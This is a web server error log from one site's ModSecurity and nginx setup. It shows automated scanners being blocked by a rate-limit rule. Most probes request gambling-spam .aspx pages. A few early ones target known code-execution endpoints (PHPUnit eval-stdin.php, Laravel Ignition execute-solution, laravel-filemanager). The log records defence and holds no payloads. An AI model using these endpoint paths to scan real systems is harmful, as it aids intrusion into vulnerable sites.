[Wed Mar 11 15:20:13.544932 2026] [:error] [pid 45143:tid 45147] [client 134.199.164.121:60874] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abEXrSEXSpYdWImkpzau8gAAAYI"]
2026/03/11 15:20:13 [error] 53948#53948: *847473 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "POST / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au"
[Wed Mar 11 15:20:13.545314 2026] [:error] [pid 45143:tid 45145] [client 134.199.164.121:60876] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abEXrSEXSpYdWImkpzau8wAAAYA"]
2026/03/11 15:20:13 [error] 53948#53948: *847472 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "GET /_ignition/execute-solution HTTP/1.1", upstream: "http://103.4.122.14:8181/_ignition/execute-solution", host: "measureyourbrand.com.au"
[Wed Mar 11 15:20:13.558719 2026] [:error] [pid 54045:tid 54049] [client 134.199.164.121:60884] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_ignition/execute-solution"] [unique_id "abEXrSRcKzQ1f-N8TgRL5QAAAMI"]
[Wed Mar 11 15:20:13.559352 2026] [:error] [pid 53955:tid 54028] [client 134.199.164.121:60886] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_ignition/execute-solution"] [unique_id "abEXrdP1Uf6qBkbxZg_IYQAAAIk"]
2026/03/11 15:20:13 [error] 53948#53948: *847473 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "GET /_ignition/execute-solution HTTP/1.1", upstream: "http://103.4.122.14:8181/_ignition/execute-solution", host: "measureyourbrand.com.au"
2026/03/11 15:20:13 [error] 53945#53945: *847433 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "GET /public/vendor/laravel-filemanager/js/script.js HTTP/1.1", upstream: "http://103.4.122.14:8181/public/vendor/laravel-filemanager/js/script.js", host: "measureyourbrand.com.au"
[Wed Mar 11 15:20:13.560470 2026] [:error] [pid 53955:tid 54030] [client 134.199.164.121:60888] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vendor/laravel-filemanager/js/script.js"] [unique_id "abEXrdP1Uf6qBkbxZg_IYgAAAIs"]
[Wed Mar 11 15:41:28.845155 2026] [:error] [pid 53954:tid 54009] [client 134.101.156.225:51756] [client 134.101.156.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abEcqLbD1J_Nhe6jce2KGgAAAFY"]
2026/03/11 15:41:28 [error] 53946#53946: *862181 upstream prematurely closed connection while reading response header from upstream, client: 134.101.156.225, server: measureyourbrand.com.au, request: "GET /pg%20joker%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20joker%20auto.aspx", host: "measureyourbrand.com.au"
2026/03/11 15:41:31 [error] 53946#53946: *862181 upstream prematurely closed connection while reading response header from upstream, client: 134.101.156.225, server: measureyourbrand.com.au, request: "GET /pg%20osaka.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20osaka.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 15:41:31.017252 2026] [:error] [pid 23482:tid 23503] [client 134.101.156.225:51820] [client 134.101.156.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abEcq8rYaTAnN_mLXymtzwAAARI"]
2026/03/11 15:41:32 [error] 53946#53946: *862181 upstream prematurely closed connection while reading response header from upstream, client: 134.101.156.225, server: measureyourbrand.com.au, request: "GET /pg%20slot%20789.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20789.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 15:41:32.825915 2026] [:error] [pid 53955:tid 54038] [client 134.101.156.225:51848] [client 134.101.156.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abEcrNP1Uf6qBkbxZg_QdQAAAJM"]
2026/03/11 17:19:32 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /apollo%20slot%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/apollo%20slot%20pg.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:32.163512 2026] [:error] [pid 45143:tid 45156] [client 51.77.216.36:54146] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abEzpCEXSpYdWImkpzbIZQAAAYs"]
2026/03/11 17:19:33 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/auto%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:33.784940 2026] [:error] [pid 44995:tid 45005] [client 51.77.216.36:54174] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abEzpToOSr9ks_axo6ONBwAAAkg"]
[Wed Mar 11 17:19:35.377262 2026] [:error] [pid 45143:tid 45149] [client 51.77.216.36:54204] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abEzpyEXSpYdWImkpzbIbgAAAYQ"]
2026/03/11 17:19:35 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflik%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20casino.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:47.353613 2026] [:error] [pid 44995:tid 45002] [client 51.77.216.36:54320] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abEzszoOSr9ks_axo6ONIAAAAkU"]
2026/03/11 17:19:47 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflik%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20co.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:19:49 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflik%20dc.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20dc.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:49.252648 2026] [:error] [pid 44995:tid 45015] [client 51.77.216.36:54350] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abEztToOSr9ks_axo6ONKgAAAlI"]
2026/03/11 17:19:51 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflik%20original.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20original.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:51.038770 2026] [:error] [pid 54045:tid 54068] [client 51.77.216.36:54378] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abEztyRcKzQ1f-N8TgRx-QAAANU"]
[Wed Mar 11 17:19:52.631858 2026] [:error] [pid 44995:tid 45007] [client 51.77.216.36:54404] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abEzuDoOSr9ks_axo6ONMQAAAko"]
2026/03/11 17:19:52 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflik%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:54.413981 2026] [:error] [pid 45143:tid 45147] [client 51.77.216.36:54436] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abEzuiEXSpYdWImkpzbIgwAAAYI"]
2026/03/11 17:19:54 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflik%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20thailand.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:19:56 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflix%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20auto.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:56.149956 2026] [:error] [pid 54045:tid 54070] [client 51.77.216.36:54456] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abEzvCRcKzQ1f-N8TgRyBgAAANc"]
2026/03/11 17:19:57 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflix%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20casino.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:19:57.901120 2026] [:error] [pid 54045:tid 54067] [client 51.77.216.36:54478] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abEzvSRcKzQ1f-N8TgRyCwAAANQ"]
2026/03/11 17:20:10 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflix%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20co.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:20:10.125137 2026] [:error] [pid 45143:tid 45150] [client 51.77.216.36:54674] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abEzyiEXSpYdWImkpzbImAAAAYU"]
2026/03/11 17:20:11 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflix%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:20:11.876344 2026] [:error] [pid 44995:tid 45021] [client 51.77.216.36:54758] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abEzyzoOSr9ks_axo6ONRwAAAlg"]
2026/03/11 17:20:13 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflix%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20thailand.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:20:13.600346 2026] [:error] [pid 45143:tid 45168] [client 51.77.216.36:54780] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abEzzSEXSpYdWImkpzbInAAAAZc"]
2026/03/11 17:20:15 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /betflix%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:20:15.201468 2026] [:error] [pid 44800:tid 44817] [client 51.77.216.36:54802] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abEzzzN8ZerbIEHTO2qSpwAAAc8"]
[Wed Mar 11 17:20:16.792110 2026] [:error] [pid 54045:tid 54064] [client 51.77.216.36:54814] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abEz0CRcKzQ1f-N8TgRySwAAANE"]
2026/03/11 17:20:16 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /casino%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflik.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:20:18.395090 2026] [:error] [pid 23482:tid 23496] [client 51.77.216.36:54832] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abEz0srYaTAnN_mLXynKPwAAAQs"]
2026/03/11 17:20:18 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /casino%20betflix.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflix.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:21:02 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20plus.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20plus.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:02.046022 2026] [:error] [pid 45143:tid 45152] [client 51.77.216.36:55402] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abEz_iEXSpYdWImkpzbIswAAAYc"]
2026/03/11 17:21:03 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20168.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:03.845976 2026] [:error] [pid 45143:tid 45167] [client 51.77.216.36:55434] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abEz_yEXSpYdWImkpzbItwAAAZY"]
2026/03/11 17:21:05 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20888th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20888th.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:05.608694 2026] [:error] [pid 54045:tid 54069] [client 51.77.216.36:55458] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abE0ASRcKzQ1f-N8TgRy1gAAANY"]
[Wed Mar 11 17:21:07.350154 2026] [:error] [pid 54045:tid 54062] [client 51.77.216.36:55474] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abE0AyRcKzQ1f-N8TgRy3AAAAM8"]
2026/03/11 17:21:07 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto%20wallet.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:21:09 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:09.104499 2026] [:error] [pid 44882:tid 44902] [client 51.77.216.36:55488] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abE0BVC06UlbDFYZNg38rwAAAhI"]
[Wed Mar 11 17:21:10.827142 2026] [:error] [pid 44995:tid 45010] [client 51.77.216.36:55504] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abE0BjoOSr9ks_axo6ONlQAAAk0"]
2026/03/11 17:21:10 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20game.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:21:12 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20vegas.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vegas.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:12.482947 2026] [:error] [pid 44995:tid 45001] [client 51.77.216.36:55528] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abE0CDoOSr9ks_axo6ONmwAAAkQ"]
[Wed Mar 11 17:21:24.847861 2026] [:error] [pid 54045:tid 54058] [client 51.77.216.36:55648] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abE0FCRcKzQ1f-N8TgRy7gAAAMs"]
2026/03/11 17:21:24 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vip.aspx", host: "measureyourbrand.com.au"
2026/03/11 17:21:26 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20wallet.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:26.664521 2026] [:error] [pid 54045:tid 54061] [client 51.77.216.36:55668] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abE0FiRcKzQ1f-N8TgRy9AAAAM4"]
[Wed Mar 11 17:21:28.484106 2026] [:error] [pid 54045:tid 54066] [client 51.77.216.36:55688] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "abE0GCRcKzQ1f-N8TgRy-QAAANM"]
2026/03/11 17:21:28 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:30.214246 2026] [:error] [pid 54045:tid 54048] [client 51.77.216.36:55724] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abE0GiRcKzQ1f-N8TgRzBAAAAME"]
2026/03/11 17:21:30 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot168.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 17:21:32.005585 2026] [:error] [pid 54045:tid 54067] [client 51.77.216.36:55750] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abE0HCRcKzQ1f-N8TgRzDwAAANQ"]
2026/03/11 17:21:32 [error] 53947#53947: *933847 upstream prematurely closed connection while reading response header from upstream, client: 51.77.216.36, server: measureyourbrand.com.au, request: "GET /pg%20slot99.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot99.aspx", host: "measureyourbrand.com.au"
